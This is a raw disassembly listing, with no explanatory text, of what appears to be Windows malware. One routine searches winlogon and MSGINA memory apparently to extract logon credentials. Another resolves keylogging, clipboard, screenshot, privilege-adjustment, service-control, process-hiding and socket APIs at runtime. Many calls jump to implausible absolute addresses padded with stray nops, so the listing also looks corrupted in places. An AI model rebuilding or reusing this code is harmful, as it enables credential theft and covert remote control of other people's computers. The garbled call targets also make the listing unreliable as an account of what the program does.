loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26101F3h
		nop
		pop	edi
		pop	esi
sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43AA44
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2710439h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43AA44
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6

loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43AA38
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43AC48
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E

loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43AA40

loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]

loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292

loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi

loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2710439h
		nop
		mov	eax, edi

loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324

loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43AA40

loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------

loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2730591h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------

loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 2730000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------

loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2720A3Dh
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518

loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_439A38
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43A238
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6

loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------

loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 26B069Ch
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43AC5C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43AC54, eax
		mov	dword_43AC58, edi

loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2710439h
		mov	esi, [ebp+var_10]

loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2640811h
		pop	edi
		mov	eax, esi
		pop	ebx

loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2730591h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 2730000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC

loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2720A3Dh
		nop
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2720CFEh
		nop
		test	eax, eax
		jz	short loc_409602
		push	offset dword_439A38
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43A238
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632

loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 2710439h
		nop
		jmp	short loc_409616
; ---------------------------------------------------------------------------

loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584

loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2640811h

loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax

loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43AC54, ebx
		mov	dword_43AC58, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C

loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654

loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2640811h
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43AC50
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2720000h
		mov	ecx, dword_43AC50
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43AC58
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43AC5C
		push	eax
		call	dword_43AA3C
		push	[ebp+var_4]
		mov	edi, offset dword_43AA48
		push	offset dword_439A38
		push	offset dword_43A238
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2710439h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43AC50
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2720A0Ch
		push	eax
		call	near ptr 2720000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43A238
		mov	edi, 200h
		mov	esi, offset dword_439838

loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43AC50
		add	eax, eax
		push	eax
		push	dword_43AC58
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43AA3C
		mov	eax, dword_43AC50
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1

loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0

loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1

loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0

loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE

loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------

loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_439A38
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h

loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2720A0Ch
		push	eax
		nop
		call	near ptr 2710439h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43AE44, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43ADB8, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43AD9C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43ACB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43AC64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43AC94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43AD08, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43ADF8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43AE54, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43ACC4, eax
		call	esi
		cmp	dword_43AE44, ebx
		mov	dword_43ACAC, eax
		jz	short loc_40991D
		cmp	dword_43ADB8, ebx
		jz	short loc_40991D
		cmp	dword_43AD9C, ebx
		jz	short loc_40991D
		cmp	dword_43ACB8, ebx
		jz	short loc_40991D
		cmp	dword_43AC94, ebx
		jz	short loc_40991D
		cmp	dword_43AD08, ebx
		jz	short loc_40991D
		cmp	dword_43ADF8, ebx
		jz	short loc_40991D
		cmp	dword_43AE54, ebx
		jz	short loc_40991D
		cmp	dword_43ACC4, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927

loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43AE58, 1

loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43ADD0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------

loc_40993F:				; CODE XREF: sub_40981F+1Dj
		call	near ptr 2660AEBh
		nop
		mov	dword_43AE5C, eax
		mov	dword_43AE58, 1

loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2710000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43ADF4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43ADA4, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43AD38, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43AE48, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43AD68, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43AD88, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43ADEC, eax
		call	esi
		cmp	dword_43ADF4, ebx
		mov	dword_43ACE0, eax
		jz	short loc_409A0D
		cmp	dword_43ADA4, ebx
		jz	short loc_409A0D
		cmp	dword_43AD38, ebx
		jz	short loc_409A0D
		cmp	dword_43AE48, ebx
		jz	short loc_409A0D
		cmp	dword_43AD68, ebx
		jz	short loc_409A0D
		cmp	dword_43AD88, ebx
		jz	short loc_409A0D
		cmp	dword_43ADEC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17

loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43AE60, 1

loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43AD64, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43AC78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43AD34, eax
		call	esi
		cmp	dword_43AD64, ebx
		mov	dword_43AD20, eax
		jz	short loc_409A74
		cmp	dword_43AC78, ebx
		jz	short loc_409A74
		cmp	dword_43AD34, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------

loc_409A69:				; CODE XREF: sub_40981F+144j
		call	near ptr 2660AEBh
		nop
		mov	dword_43AE64, eax

loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43AE60, 1

loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43AE08, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43AD4C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43ADBC, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43ACA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43AD04, eax
		call	esi
		cmp	dword_43AE08, ebx
		mov	dword_43AD74, eax
		jz	short loc_409B09
		cmp	dword_43AD4C, ebx
		jz	short loc_409B09
		cmp	dword_43ADBC, ebx
		jz	short loc_409B09
		cmp	dword_43ACA4, ebx
		jz	short loc_409B09
		cmp	dword_43AD04, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13

loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43AE68, 1

loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43AD7C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43AD54, eax
		call	esi
		cmp	dword_43AD7C, ebx
		mov	dword_43AE04, eax
		jz	short loc_409B4E
		cmp	dword_43AD54, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58

loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43AE68, 1

loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43AD8C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43AC80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43AC88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43ACE8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43ACEC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43AC9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43AD58, eax
		call	esi
		cmp	dword_43AD8C, ebx
		mov	dword_43AC8C, eax
		jz	short loc_409BFC
		cmp	dword_43AC80, ebx
		jz	short loc_409BFC
		cmp	dword_43AC88, ebx
		jz	short loc_409BFC
		cmp	dword_43ACE8, ebx
		jz	short loc_409BFC
		cmp	dword_43ACEC, ebx
		jz	short loc_409BFC
		cmp	dword_43AC9C, ebx
		jz	short loc_409BFC
		cmp	dword_43AD58, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06

loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43AE68, 1

loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43AC84, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------

loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 2660AEBh
		mov	dword_43AE6C, eax

loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43AE68, 1

loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43AD84, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43ADDC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43ADE4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43ADA0, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43ACC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43AC74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43ADE0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43AC60, eax
		call	esi
		cmp	dword_43AD84, ebx
		mov	dword_43ACFC, eax
		jz	short loc_409D05
		cmp	dword_43ADDC, ebx
		jz	short loc_409D05
		cmp	dword_43ADE4, ebx
		jz	short loc_409D05
		cmp	dword_43ADA0, ebx
		jz	short loc_409D05
		cmp	dword_43ACC8, ebx
		jz	short loc_409D05
		cmp	dword_43AC74, ebx
		jz	short loc_409D05
		cmp	dword_43ADE0, ebx
		jz	short loc_409D05
		cmp	dword_43AC60, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------

loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		nop
		call	near ptr 2660AEBh
		mov	dword_43AE74, eax

loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43AE70, 1

loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43AD10, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43AE3C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43ACB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43AC90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43AD44, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43AD2C, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43ACF8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43AE18, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43AE34, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43AD40, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43AE24, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43ADD8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
